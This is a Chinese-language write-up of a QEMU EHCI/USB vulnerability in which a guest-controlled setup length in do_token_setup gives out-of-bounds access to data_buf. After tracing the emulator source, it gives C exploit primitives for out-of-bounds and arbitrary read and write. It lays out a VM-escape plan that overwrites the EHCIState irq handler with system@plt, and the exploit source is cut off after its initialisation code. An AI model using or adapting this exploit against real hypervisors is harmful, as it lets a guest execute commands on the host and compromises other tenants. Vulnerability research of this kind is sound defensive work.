case EST_FETCHENTRY:
again = ehci_state_fetchentry(ehci, async);
break;

case EST_FETCHQH:
q = ehci_state_fetchqh(ehci, async);
if (q != NULL)
{
assert(q->async == async);
again = 1;
}
else
{
again = 0;
}
break;

case EST_FETCHITD:
again = ehci_state_fetchitd(ehci, async);
itd_count++;
break;

case EST_FETCHSITD:
again = ehci_state_fetchsitd(ehci, async);
itd_count++;
break;

case EST_ADVANCEQUEUE:
assert(q != NULL);
again = ehci_state_advqueue(q);
break;

case EST_FETCHQTD:
assert(q != NULL);
again = ehci_state_fetchqtd(q);
break;

case EST_HORIZONTALQH:
assert(q != NULL);
again = ehci_state_horizqh(q);
break;

case EST_EXECUTE:
assert(q != NULL);
again = ehci_state_execute(q);
if (async)
{
ehci->async_stepdown = 0;
}
break;

case EST_EXECUTING:
assert(q != NULL);
if (async)
{
ehci->async_stepdown = 0;
}
again = ehci_state_executing(q);
break;

case EST_WRITEBACK:
assert(q != NULL);
again = ehci_state_writeback(q);
if (!async)
{
ehci->periodic_sched_active = PERIODIC_ACTIVE;
}
break;

default:
fprintf(stderr, "Bad state!\n");
again = -1;
g_assert_not_reached();
break;
}

if (again < 0 || itd_count > 16)
{
/* TODO: notify guest (raise HSE irq?) */
fprintf(stderr, "processing error - resetting ehci HC\n");
ehci_reset(ehci);
again = 0;
}
} while (again);
}

/* This state is the entry point for periodic schedule processing as
* well as being a continuation state for async processing.
*/
static int ehci_state_fetchentry(EHCIState *ehci, int async)
{
int again = 0;
uint32_t entry = ehci_get_fetch_addr(ehci, async);

if (NLPTR_TBIT(entry))
{
ehci_set_state(ehci, async, EST_ACTIVE);
goto out;
}

/* section 4.8, only QH in async schedule */
if (async && (NLPTR_TYPE_GET(entry) != NLPTR_TYPE_QH))
{
fprintf(stderr, "non queue head request in async schedule\n");
return -1;
}

switch (NLPTR_TYPE_GET(entry))
{
case NLPTR_TYPE_QH:
ehci_set_state(ehci, async, EST_FETCHQH);
again = 1;
break;

case NLPTR_TYPE_ITD:
ehci_set_state(ehci, async, EST_FETCHITD);
again = 1;
break;

case NLPTR_TYPE_STITD:
ehci_set_state(ehci, async, EST_FETCHSITD);
again = 1;
break;

default:
/* TODO: handle FSTN type */
fprintf(stderr, "FETCHENTRY: entry at %X is of type %d "
"which is not supported yet\n",
entry, NLPTR_TYPE_GET(entry));
return -1;
}

out:
return again;
}

#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)

这个函数实现了一个状态机,可以完成不同状态之间的转换。通过调试,发现函数总是会优先进入到EST_FETCHENTRY 这个分支,然后会调用ehci_state_fetchentry 这个函数。

这个函数会调用ehci_get_fetch_addr 函数获取ehci->p_fetch_addr 作为entry。这里我们的目的是进入到NLPTR_TYPE_QH 这个分支中,所以需要设置entry >> 1 & 3 == NLPTR_TYPE_QH 。也即需要设置*ehci->periodiclistbase == target_addr + 2

之后回到ehci_advance_state 函数中,并进入到EST_FETCHQH 状态中,调用ehci_state_fetchqh 函数。

ehci_state_fetchqh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
static EHCIQueue *ehci_state_fetchqh(EHCIState *ehci, int async)
{
uint32_t entry;
EHCIQueue *q;
EHCIqh qh;

entry = ehci_get_fetch_addr(ehci, async);
q = ehci_find_queue_by_qh(ehci, entry, async);
if (q == NULL)
{
q = ehci_alloc_queue(ehci, entry, async);
}

q->seen++;
if (q->seen > 1)
{
/* we are going in circles -- stop processing */
ehci_set_state(ehci, async, EST_ACTIVE);
q = NULL;
goto out;
}

if (get_dwords(ehci, NLPTR_GET(q->qhaddr),
(uint32_t *)&qh, sizeof(EHCIqh) >> 2) < 0)
{
q = NULL;
goto out;
}
ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);

/*
* The overlay area of the qh should never be changed by the guest,
* except when idle, in which case the reset is a nop.
*/
if (!ehci_verify_qh(q, &qh))
{
if (ehci_reset_queue(q) > 0)
{
ehci_trace_guest_bug(ehci, "guest updated active QH");
}
}
q->qh = qh;

q->transact_ctr = get_field(q->qh.epcap, QH_EPCAP_MULT);
if (q->transact_ctr == 0)
{ /* Guest bug in some versions of windows */
q->transact_ctr = 4;
}

if (q->dev == NULL)
{
q->dev = ehci_find_device(q->ehci,
get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
}

if (async && (q->qh.epchar & QH_EPCHAR_H))
{

/* EHCI spec version 1.0 Section 4.8.3 & 4.10.1 */
if (ehci->usbsts & USBSTS_REC)
{
ehci_clear_usbsts(ehci, USBSTS_REC);
}
else
{
DPRINTF("FETCHQH: QH 0x%08x. H-bit set, reclamation status reset"
" - done processing\n",
q->qhaddr);
ehci_set_state(ehci, async, EST_ACTIVE);
q = NULL;
goto out;
}
}

#if EHCI_DEBUG
if (q->qhaddr != q->qh.next)
{
DPRINTF("FETCHQH: QH 0x%08x (h %x halt %x active %x) next 0x%08x\n",
q->qhaddr,
q->qh.epchar & QH_EPCHAR_H,
q->qh.token & QTD_TOKEN_HALT,
q->qh.token & QTD_TOKEN_ACTIVE,
q->qh.next);
}
#endif

if (q->qh.token & QTD_TOKEN_HALT)
{
ehci_set_state(ehci, async, EST_HORIZONTALQH);
}
else if ((q->qh.token & QTD_TOKEN_ACTIVE) && // [1]
(NLPTR_TBIT(q->qh.current_qtd) == 0) &&
(q->qh.current_qtd != 0))
{
q->qtdaddr = q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD);
}
else
{
/* EHCI spec version 1.0 Section 4.10.2 */
ehci_set_state(ehci, async, EST_ADVANCEQUEUE);
}

out:
return q;
}

这个函数首先调用ehci_get_fetch_addr 函数获取ehci->p_fetch_addr 作为entry,然后分配一个EHCIQueue 结构体,接着一个关键部分如下:

1
2
get_dwords(ehci, NLPTR_GET(q->qhaddr),
(uint32_t *)&qh, sizeof(EHCIqh) >> 2)

通过get_dwords 函数获取q-qhaddr 地址的内容为EHCIqh结构体qh 赋值,而q->qhaddr 也即上文中的entry ,所以这个结构体qh 是我们可控的。然后设置q->qh.token 的值,使程序运行到[1] 处,设置q->qtdaddr = q->qh.current_qtd 以及状态机的状态。最终返回到ehci_advance_state,并进入到EST_FETCHQTD 这个状态中。

ehci_state_fetchqtd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/* Section 4.10.2 - paragraph 4 */
static int ehci_state_fetchqtd(EHCIQueue *q)
{
EHCIqtd qtd;
EHCIPacket *p;
int again = 1;
uint32_t addr;

addr = NLPTR_GET(q->qtdaddr);
if (get_dwords(q->ehci, addr + 8, &qtd.token, 1) < 0)
{
return 0;
}
barrier();
if (get_dwords(q->ehci, addr + 0, &qtd.next, 1) < 0 ||
get_dwords(q->ehci, addr + 4, &qtd.altnext, 1) < 0 ||
get_dwords(q->ehci, addr + 12, qtd.bufptr,
ARRAY_SIZE(qtd.bufptr)) < 0)
{
return 0;
}
ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd);

p = QTAILQ_FIRST(&q->packets);
if (p != NULL)
{
if (!ehci_verify_qtd(p, &qtd))
{
ehci_cancel_queue(q);
if (qtd.token & QTD_TOKEN_ACTIVE)
{
ehci_trace_guest_bug(q->ehci, "guest updated active qTD");
}
p = NULL;
}
else
{
p->qtd = qtd;
ehci_qh_do_overlay(q);
}
}

if (!(qtd.token & QTD_TOKEN_ACTIVE))
{
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
}
else if (p != NULL)
{
switch (p->async)
{
case EHCI_ASYNC_NONE:
case EHCI_ASYNC_INITIALIZED:
/* Not yet executed (MULT), or previously nacked (int) packet */
ehci_set_state(q->ehci, q->async, EST_EXECUTE);
break;
case EHCI_ASYNC_INFLIGHT:
/* Check if the guest has added new tds to the queue */
again = ehci_fill_queue(QTAILQ_LAST(&q->packets));
/* Unfinished async handled packet, go horizontal */
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
break;
case EHCI_ASYNC_FINISHED:
/* Complete executing of the packet */
ehci_set_state(q->ehci, q->async, EST_EXECUTING);
break;
}
}
else // [1]
{
p = ehci_alloc_packet(q);
p->qtdaddr = q->qtdaddr;
p->qtd = qtd;
ehci_set_state(q->ehci, q->async, EST_EXECUTE);
}

return again;
}

由上述分析可知,q->qtdaddr 字段是可控的,只需要满足qtd.token & QTD_TOKEN_ACTIVE != 0 即可执行到目标地址。设置状态机状态为EST_EXECUTE ,返回到ehci_advance_state 函数中,最终执行到ehci_state_execute 函数中。

ehci_state_execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int ehci_state_execute(EHCIQueue *q)
{
EHCIPacket *p = QTAILQ_FIRST(&q->packets);
int again = 0;

assert(p != NULL);
assert(p->qtdaddr == q->qtdaddr);

if (ehci_qh_do_overlay(q) != 0)
{
return -1;
}

// TODO verify enough time remains in the uframe as in 4.4.1.1
// TODO write back ptr to async list when done or out of time

/* 4.10.3, bottom of page 82, go horizontal on transaction counter == 0 */
if (!q->async && q->transact_ctr == 0)
{
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
again = 1;
goto out;
}

if (q->async)
{
ehci_set_usbsts(q->ehci, USBSTS_REC);
}

again = ehci_execute(p, "process"); // [1]
if (again == -1)
{
goto out;
}
if (p->packet.status == USB_RET_ASYNC)
{
ehci_flush_qh(q);
trace_usb_ehci_packet_action(p->queue, p, "async");
p->async = EHCI_ASYNC_INFLIGHT;
ehci_set_state(q->ehci, q->async, EST_HORIZONTALQH);
if (q->async)
{
again = ehci_fill_queue(p);
}
else
{
again = 1;
}
goto out;
}

ehci_set_state(q->ehci, q->async, EST_EXECUTING);
again = 1;

out:
return again;
}

这里没做什么判断就直接调用ehci_execute 函数。

ehci_execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static int ehci_execute(EHCIPacket *p, const char *action)
{
USBEndpoint *ep;
int endp;
bool spd;

assert(p->async == EHCI_ASYNC_NONE ||
p->async == EHCI_ASYNC_INITIALIZED);

if (!(p->qtd.token & QTD_TOKEN_ACTIVE))
{
fprintf(stderr, "Attempting to execute inactive qtd\n");
return -1;
}

if (get_field(p->qtd.token, QTD_TOKEN_TBYTES) > BUFF_SIZE)
{
ehci_trace_guest_bug(p->queue->ehci,
"guest requested more bytes than allowed");
return -1;
}

if (!ehci_verify_pid(p->queue, &p->qtd))
{
ehci_queue_stopped(p->queue); /* Mark the ep in the prev dir stopped */
}
p->pid = ehci_get_pid(&p->qtd);
p->queue->last_pid = p->pid;
endp = get_field(p->queue->qh.epchar, QH_EPCHAR_EP);
ep = usb_ep_get(p->queue->dev, p->pid, endp);

if (p->async == EHCI_ASYNC_NONE) // [1]
{
if (ehci_init_transfer(p) != 0)
{
return -1;
}

spd = (p->pid == USB_TOKEN_IN && NLPTR_TBIT(p->qtd.altnext) == 0);
usb_packet_setup(&p->packet, p->pid, ep, 0, p->qtdaddr, spd,
(p->qtd.token & QTD_TOKEN_IOC) != 0);
usb_packet_map(&p->packet, &p->sgl);
p->async = EHCI_ASYNC_INITIALIZED;
}

trace_usb_ehci_packet_action(p->queue, p, action);
usb_handle_packet(p->queue->dev, &p->packet); // target
DPRINTF("submit: qh 0x%x next 0x%x qtd 0x%x pid 0x%x len %zd endp 0x%x "
"status %d actual_length %d\n",
p->queue->qhaddr, p->qtd.next,
p->qtdaddr, p->pid, p->packet.iov.size, endp, p->packet.status,
p->packet.actual_length);

if (p->packet.actual_length > BUFF_SIZE)
{
fprintf(stderr, "ret from usb_handle_packet > BUFF_SIZE\n");
return -1;
}

return 1;
}

这里对p->qtd.token 字段进行一些判断,由于这个字段是可控的,所以我们很容易可以过掉这个判断,进而运行到片段[1]中,片段[1] 是初始化与设备交互的用户内存空间。然后执行到usb_handle_packet函数中。

usb_handle_packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/* Hand over a packet to a device for processing.  p->status ==
USB_RET_ASYNC indicates the processing isn't finished yet, the
driver will call usb_packet_complete() when done processing it. */
void usb_handle_packet(USBDevice *dev, USBPacket *p)
{
if (dev == NULL) {
p->status = USB_RET_NODEV;
return;
}
assert(dev == p->ep->dev);
assert(dev->state == USB_STATE_DEFAULT);
usb_packet_check_state(p, USB_PACKET_SETUP);
assert(p->ep != NULL);

/* Submitting a new packet clears halt */
if (p->ep->halted) {
assert(QTAILQ_EMPTY(&p->ep->queue));
p->ep->halted = false;
}

if (QTAILQ_EMPTY(&p->ep->queue) || p->ep->pipeline || p->stream) {
usb_process_one(p);
if (p->status == USB_RET_ASYNC) {
/* hcd drivers cannot handle async for isoc */
assert(p->ep->type != USB_ENDPOINT_XFER_ISOC);
/* using async for interrupt packets breaks migration */
assert(p->ep->type != USB_ENDPOINT_XFER_INT ||
(dev->flags & (1 << USB_DEV_FLAG_IS_HOST)));
usb_packet_set_state(p, USB_PACKET_ASYNC);
QTAILQ_INSERT_TAIL(&p->ep->queue, p, queue);
} else if (p->status == USB_RET_ADD_TO_QUEUE) {
usb_queue_one(p);
} else {
/*
* When pipelining is enabled usb-devices must always return async,
* otherwise packets can complete out of order!
*/
assert(p->stream || !p->ep->pipeline ||
QTAILQ_EMPTY(&p->ep->queue));
if (p->status != USB_RET_NAK) {
usb_packet_set_state(p, USB_PACKET_COMPLETE);
}
}
} else {
usb_queue_one(p);
}
}

这里直接调用usb_process_one 函数。

usb_process_one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static void usb_process_one(USBPacket *p)
{
USBDevice *dev = p->ep->dev;

/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status = USB_RET_SUCCESS;

if (p->ep->nr == 0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
case USB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
case USB_TOKEN_IN:
do_token_in(dev, p);
break;
case USB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status = USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}

函数通过p->pid 判断进入哪个分支,而pid 是我们可控的,从而可以确定进入到哪个分支。这里进入到USB_TOKEN_SETUP 分支,调用do_token_setup 函数。

do_token_setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
return;
}

usb_packet_copy(p, s->setup_buf, p->iov.size); // [1]
s->setup_index = 0;
p->actual_length = 0;
s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
if (s->setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
// ...
}

这里是漏洞发生的位置,[1] 处通过用户可控的p->iov.basep->iov.sizes->setup_buf 进行赋值,从而能够控制s->setup_len 的长度,造成后续的越界读写。

漏洞利用

越界读

  1. 调用do_token_setup 设置越界长度
  2. 调用do_token_ins->data_buf 数据复制到用户空间,实现越界读
1
2
3
4
5
6
7
8
9
10
11
12
13
void do_copy_read(){

reset_enable_port();
set_qh();

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_IN << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);

set_EHCIState();

printf("do_copy_read Success!\n");
}

越界写

  1. 调用do_token_setup 设置越界长度
  2. 调用do_token_out 将用户空间数据写入s->data_buf 中,实现越界写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void do_copy_write(int offset, unsigned int setup_len, unsigned int setup_index){

reset_enable_port();
set_qh();

*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_buf_oob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_buf_oob + 0xc+ offset) = setup_index;

qtd->token = QTD_TOKEN_ACTIVE | USB_TOKEN_OUT << QTD_TOKEN_PID_SH | 0x1e00 << QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] = virt2phys(data_buf);
qtd->bufptr[1] = virt2phys(data_buf_oob);

set_EHCIState();

printf("do_copy_write Success!\n");
}

任意读

这里的任意读是在越界读写的条件下,实现任意地址读。

image-20240725212516328
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned long arb_read(uint64_t target_addr)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

do_copy_write(0, 0x1010, 0xfffffff8-0x1010);

*(unsigned long *)(data_buf) = 0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsigned int target_offset = target_addr - data_buf_addr;

do_copy_write(0x8, 0xffff, target_offset - 0x1018);
do_copy_read(); // oob read
return *(unsigned long *)(data_buf);

printf("arb_read Success!\n");
}

任意写

同上述任意读,实现任意写的思路如下:

image-20240725212615547
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void arb_write(uint64_t target_addr, uint64_t payload)
{
setup_state_data();

set_length(0x1010, USB_DIR_OUT);

unsigned long offset = target_addr - data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);

*(unsigned long *)(data_buf) = payload;
do_copy_write(0, 0xffff, 0);

printf("arb_write Success!\n");
}

利用思路

  1. 通过越界读,获取USBDevice 对象的地址,通过计算偏移,可以得到data_bufUSBPort 字段的地址。搜索越界读的内容,可以泄露代码段地址,可以得到程序基地址与system@plt的地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct USBDevice{
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;
int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096]; <-----------
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];
}

struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
QTAILQ_HEAD(, USBPacket) queue;
};
  1. USBDevice 会在 realize 时,调用usb_claim_port,将USBDevice中的port字段设置为指向
    EHCIState中的ports的地址,读取USBDevice->port的内容就能获得EHCIState->ports的地址,减去偏移得到 EHCIState的地址。进而得到EHCIState->irq地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
static void usb_device_class_init(ObjectClass *klass, void *data)
{
DeviceClass *k = DEVICE_CLASS(klass);
k->bus_type = TYPE_USB_BUS;
k->realize = usb_qdev_realize;
k->unrealize = usb_qdev_unrealize;
k->props = usb_props;
}

static void usb_qdev_realize(DeviceState *qdev, Error **errp)
{
USBDevice *dev = USB_DEVICE(qdev);
Error *local_err = NULL;

pstrcpy(dev->product_desc, sizeof(dev->product_desc),
usb_device_get_product_desc(dev));
dev->auto_attach = 1;
QLIST_INIT(&dev->strings);
usb_ep_init(dev);

usb_claim_port(dev, &local_err);
if (local_err) {
error_propagate(errp, local_err);
return;
}

usb_device_realize(dev, &local_err);
if (local_err) {
usb_release_port(dev);
error_propagate(errp, local_err);
return;
}

if (dev->auto_attach) {
usb_device_attach(dev, &local_err);
if (local_err) {
usb_qdev_unrealize(qdev, NULL);
error_propagate(errp, local_err);
return;
}
}
}

void usb_claim_port(USBDevice *dev, Error **errp)
{
USBBus *bus = usb_bus_from_device(dev);
USBPort *port;

assert(dev->port == NULL);

if (dev->port_path) {
QTAILQ_FOREACH(port, &bus->free, next) {
if (strcmp(port->path, dev->port_path) == 0) {
break;
}
}
if (port == NULL) {
error_setg(errp, "usb port %s (bus %s) not found (in use?)",
dev->port_path, bus->qbus.name);
return;
}
} else {
if (bus->nfree == 1 && strcmp(object_get_typename(OBJECT(dev)), "usb-hub") != 0) {
/* Create a new hub and chain it on */
usb_try_create_simple(bus, "usb-hub", NULL);
}
if (bus->nfree == 0) {
error_setg(errp, "tried to attach usb device %s to a bus "
"with no free ports", dev->product_desc);
return;
}
port = QTAILQ_FIRST(&bus->free);
}
trace_usb_port_claim(bus->busnr, port->path);

QTAILQ_REMOVE(&bus->free, port, next);
bus->nfree--;

dev->port = port;
port->dev = dev;

QTAILQ_INSERT_TAIL(&bus->used, port, next);
bus->nused++;
}

void usb_ehci_realize(EHCIState *s, DeviceState *dev, Error **errp)
{
int i;

if (s->portnr > NB_PORTS)
{
error_setg(errp, "Too many ports! Max. port number is %d.",
NB_PORTS);
return;
}
if (s->maxframes < 8 || s->maxframes > 512)
{
error_setg(errp, "maxframes %d out if range (8 .. 512)",
s->maxframes);
return;
}

usb_bus_new(&s->bus, sizeof(s->bus), s->companion_enable ? &ehci_bus_ops_companion : &ehci_bus_ops_standalone, dev);
for (i = 0; i < s->portnr; i++)
{
usb_register_port(&s->bus, &s->ports[i], s, i, &ehci_port_ops,
USB_SPEED_MASK_HIGH);
s->ports[i].dev = 0;
}

s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, ehci_work_timer, s);
s->async_bh = qemu_bh_new(ehci_work_bh, s);
s->device = dev;

s->vmstate = qemu_add_vm_change_state_handler(usb_ehci_vm_state_change, s);
}

  1. 利用任意写将EHCIState->irq内容填充为伪造的irq地址,将handler 填充成system@plt地址,opaque填充成参数的地址。其调用链如下:
1
ehci_advance_periodic_static -> ehci_advance_state -> ehci_reset -> usb_detach -> ehci_detach -> ehci_raise_irq -> ehci_update_irq -> qemu_set_irq

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>

struct EHCIqh * qh;
struct EHCIqtd * qtd;
struct ohci_td * td;
char *dmabuf;
char *setup_buf;
unsigned char *mmio_mem;
unsigned char *data_buf;
unsigned char *data_buf_oob;
uint32_t *entry;
uint64_t dev_addr;
uint64_t data_buf_addr;
uint64_t USBPort_addr;

#define PORTSC_PRESET (1 << 8) // Port Reset
#define PORTSC_PED (1 << 2) // Port Enable/Disable
#define USBCMD_RUNSTOP (1 << 0)
#define USBCMD_PSE (1 << 4)
#define USB_DIR_OUT 0
#define USB_DIR_IN 0x80
#define QTD_TOKEN_ACTIVE (1 << 7)
#define USB_TOKEN_SETUP 2
#define USB_TOKEN_IN 1 /* device -> host */
#define USB_TOKEN_OUT 0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH 8

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;

typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;

uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqtd;

uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;

// Assert page alignment

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);

uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
// Assert page present

phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);

close(fd);
return phys;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}

void init(){

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: 0x%lx\n", (uint64_t)mmio_mem);


int i;
for(i = 0; i < 0x1000; ++i)
{
dmabuf = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
*(char *)dmabuf = 'a';
*(char *)(dmabuf + 0x1000) = 'b';
*(char *)(dmabuf + 0x2000) = 'c';

entry = dmabuf + 4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_buf_oob = dmabuf + 0x2000;

// printf("phy_data_buf: 0x%lx\t phy_data_buf_oob: 0x%lx\n", virt2phys(data_buf), virt2phys(data_buf_oob));

if(virt2phys(data_buf) + 0x1000 == virt2phys(data_buf_oob))
{
printf("dmabuf: 0x%lx\n", (uint64_t)dmabuf);
printf("phy_dmabuf: 0x%lx\n", virt2phys(dmabuf));
printf("data_buf: 0x%lx\n", (uint64_t)data_buf);
printf("phy_data_buf: 0x%lx\n", virt2phys(data_buf));
printf("data_buf_oob: 0x%lx\n", (uint64_t)data_buf_oob);
printf("phy_data_buf_oob: 0x%lx\n", virt2phys(data_buf_oob));
break;
}
else
{
continue;
}
}

if(i == 0x1000)
{
die("Unable to find a contiguous physical address!");
}

printf("init Success!\n");
}

